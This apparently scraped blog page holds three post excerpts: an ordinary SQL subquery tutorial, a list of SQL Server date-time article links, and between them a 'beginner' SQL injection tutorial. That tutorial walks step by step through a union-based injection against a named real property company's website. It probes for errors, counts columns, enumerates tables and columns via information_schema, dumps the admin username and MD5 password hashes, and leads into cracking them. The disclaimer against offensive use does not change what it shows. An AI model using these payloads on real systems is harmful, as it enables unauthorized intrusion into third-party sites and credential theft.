SQL Subquery

Subquery or Inner query or Nested query is a query in a query. A subquery is usually added in the WHERE Clause of the sql statement. Most of the time, a subquery is used when you know how to search for a value using a SELECT statement, but do not know the exact value.Subqueries are an alternate way of returning data from multiple tables.Subqueries can be used with the following sql statements along with the comparision operators like =, <, >, >=, <= etc. SELECT INSERT UPDATE DELETEFor Example:1) Usually, a subquery should return only one record, but sometimes it can also return multiple records when used with operators like IN, NOT IN in the where clause. The query would be like,SELECT first_name, last_name, subjectFROM student_detailsWHERE games NOT IN ('Cricket', 'Football');The output would be similar to:first_name last_name subject------------- ------------- ----------Shekar Gowda BadmintonPriya Chandra Chess2) Lets consider the student_details table which we have used earlier. If you know the name of the students who are studying science subject, you can get their id's by using this query below,SELECT id, first_nameFROM student_detailsWHERE first_name IN ('Rahul', 'Stephen');but, if you do not know their names, then to get their id's you need to write the query in this manner,SELECT id, first_nameFROM student_detailsWHERE first_name IN (SELECT first_nameFROM student_detailsWHERE subject= 'Science');Output:id first_name-------- -------------100 Rahul102 StephenIn the above sql statement, first the inner query is processed first and then the outer query is processed.3) Subquery can be used with INSERT statement to add rows of data from one or more tables to another table. Lets try to group all the students who study Maths in a table 'maths_group'.INSERT INTO maths_group(id, name)SELECT id, first_name || ' ' || last_nameFROM student_details WHERE subject= 'Maths'4) A subquery can be used in the SELECT statement as follows. Lets use the product and order_items table defined in the sql_joins section.select p.product_name, p.supplier_name, (select order_id from order_items where product_id = 101) as order_id from product p where p.product_id = 101product_name supplier_name order_id------------------ ------------------ ----------Television Onida 5103Correlated SubqueryA query is called correlated subquery when both the inner query and the outer query are interdependent. For every row processed by the inner query, the outer query is processed as well. The inner query depends on the outer query before it can be processed.SELECT p.product_name FROM product pWHERE p.product_id = (SELECT o.product_id FROM order_items oWHERE o.product_id = p.product_id);

Read more »

Basic sql injection for beginner with a live example

NOTE : This tutorial is to make you familiar with how the SQL Injection actually works, Hope you don’t use this tutorial for Offensive porpose. If anybody misuses I am not responsible for that.Website Used for Practical here :

http://www.shangproperties.com/news_archive.php?id=6We will check it’s vulnerability by adding magic qoute (‘) at the end of the url.3.So the url will be like this:
http://www.shangproperties.com/news_archive.php?id=6′And we hit enter and we got this result.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6\’;mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1)

Database error: next_record called with no query pending.mySQL Error: 1064 (You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ‘\” at line 1)

If you got an error, some text missing or a blank page the site is vulnerable but not at all.Now we know that the site is vulnerable.4.The next step is find out how many columns the database containTo find it we use “order by” (without the qoute) and this string ” — ” (no qoute).

It will look like this:http://www.shangproperties.com/news_archive.php?id=6 order by 1– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 2– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 3– (no error)we move a little higher. (it doesn’t matter)http://www.shangproperties.com/news_archive.php?id=6 order by 10– (no error)http://www.shangproperties.com/news_archive.php?id=6 order by 14– (no error)until we got an error:http://www.shangproperties.com/news_archive.php?id=6 order by 15– (we got an error)now we got an error on this column:it will lok like this.

Database error: Invalid SQL: SELECT * FROM NewsArticle WHERE NewsID=6 order by 15–;mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)

Database error: next_record called with no query pending.mySQL Error: 1054 (Unknown column ’15′ in ‘order clause’)this mean the database contain only 14 columns.5.. Now use “-” (negative quote) and union select statement.using this we can select more data in one sql statement.Look like this:

http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14–we hit enter.numbers appears..Like this:6, 586.Now we will check it’s MYSQL VERSION. We will add @@version on the numbers appear on the previous step.lemme say i choose 8.. we will replace 8 with @@version,so it will look like this.http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, @@version, 9, 10, 11, 12, 13, 14–and you will get a result like this:6, 55.1.32 <–this is the versionnow we get the version: ;-)7.Getting Table Name.

We use group_concat(table_name).replace @@version with group_concat(table_name)and look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14–were not done already: (don’t hit enter)between number 14 and this “–” (quote) insert this:+from+information_schema.tables+where+table_schema =database()–it will look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(table_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–we hit enter and got this result:

Blurb,FileUpload,Inquiries,NewsArticle,ProjectPhot o,active_sessions_split,auth_u ​ser_md58. Now we’re done on TABLE NAME, we move on to COLUMN NAME.use this string group_concat(column_name)replace group_concat(table_name) to group_concat(column_name).but before that we must choose one column. i choose auth_user_md5 because this is must or what we want.for better result we need to hex auth_user_md5.

Go to this Link: Click here!paste auth_user_md5 to the text box and click encode.now we get the hex of auth_user_md5: look like this: 61 75 74 68 5f 75 73 65 72 5f 6d 64 35before proceeding remove space between each numbers. like this: 617574685f757365725f6d6435Now replace group_concat(table_name) to group_concat(column_name).

like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.tables+where+table_sche ma=database()–replace also +from+information_schema.tables+where+table_schema =database()–to+from+information_schema.columns+where+table_name= 0x617574685f757365725f6d6435–(The yellow letter and numbers is the auth_user_md5 hex we encoded)

Note: always add 0x before the hex. Like above.Here is the result:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7, group_concat(column_name), 9, 10, 11, 12, 13, 14+from+information_schema.columns+where+table_nam e=0x617574685f757365725f6d6435–Now hit enter: and you got result like this.UserID,Username,Password,Perms,FirstName,MiddleNam e,LastName,Position,EmailAddre ​ss,ContactNumbers,DateCreated,CreatedBy,DateModif ied,ModifiedBy,Status9.We use 0x3a to obtain what we want from the DATABASE like pass, username, etc..etc..

Replace group_concat(column_name) to group_concat(UserID,0x3a,Username,0x3a,Password,0x 3a,Perms,0x3a,FirstName,0x3a,M ​ iddleName,0x3a,LastName,0x3a,Position,0x3a,EmailAd dress,0x3a,ContactNumbers,0x3a ​ ,DateCreated,0x3a,CreatedBy,0x3a,DateModified,0x3a ,ModifiedBy,0x3aStatus)but i prefer to do this one group_concat(Username,0x3a,Password) for less effort.and replace also information_schema.columns+where+table_name=0×6175 74685f757365725f6d6435– to +from+auth_user_md5–617574685f757365725f6d6435 is the hex value of auth_user_md5 so we replace it.

Result look like this:http://www.shangproperties.com/news_archive.php?id=-6 union select 1, 2, 3, 4, 5, 6, 7,group_concat(Username,0x3a,Password), 9, 10, 11, 12, 13, 14+from+auth_user_md5–i hit enter we got this:admin username: k2admin / adminpassword in md5 hash:21232f297a57a5a743894a0e4a801fc3 / 97fda9951fd2d6c75ed53484cdc6ee2d10.Because the password is in md5 hash we need to crack it.

Read more »

SQL Server Tutorials on Date Time

One of the most frequently asked question by SQL developers, is on handing Date, Time and other related datetime values in SQL Server. Developers are always looking out for solutions which demand either converting Date Time Values or finding date time ranges and so on. Madhivanan and I have already written a couple of articles on handling DateTime in SQL Server. In this post I will share some of the links with you.

Hope you find them useful. If you do, make sure you retweet and let the other devs know about this link list.

FLOOR a DateTime in SQL Server

SQL Server: Insert Date and Time in Separate Columns

SQL Server: Group By Days and Create Categories

SQL Server: Insert Date and Time in Separate Columns

SQL Server: Group By Year, Month and Day

SQL Server: First and Last Sunday of Each Month

SQL Server: First Day of Previous Month

SQL Server: Convert to DateTime from other Datatypes

Date Difference in SQL Server in Days, Hours, Minutes and Seconds

Display Dates in a Particular Format in SQL Server

Truncate Hour, Minute, Second and MilliSecond in SQL Server

Calculate Interest on an Amount Between two Dates using SQL Server

Working with Different Time Zones in SQL Server 2008

Print Dates without Day or Time in SQL Server

Calculate Age from Date Of Birth using SQL Server

Replace SQL Server DateTime records of a column with UTC time

Calculate Average Time Interval in SQL Server

List all the Weekends of the Current Year using SQL Server

Create Date Ranges for Consecutive dates in a SQL Server Table

SQL Query to find out who attended office on Saturday

Convert Date to String in SQL Server

Convert Character string ISO date to DateTime and vice-versa

Select dates within the Current Week using SQL Server

Generate a Start and End Date Range using T-SQL

Convert From EST to GMT Time and vice versa in SQL Server

Convert DateTime to VarChar in SQL Server

How to Display DateTime Formats in Different Languages using SQL Server

Finding the Business Days In a Quarter and Number them in SQL Server 2005/2008

Find the WeekEnds in this Quarter or Year using SQL Server 2005/2008

Comparing Dates In Two Columns using SQL Server\

Some Common DateTime Formats in SQL Server 2005/2008

First weekday of a month in SQL Server

DATENAME() function in SQL Server 2005

Return date without time using Sql 2005

Read more »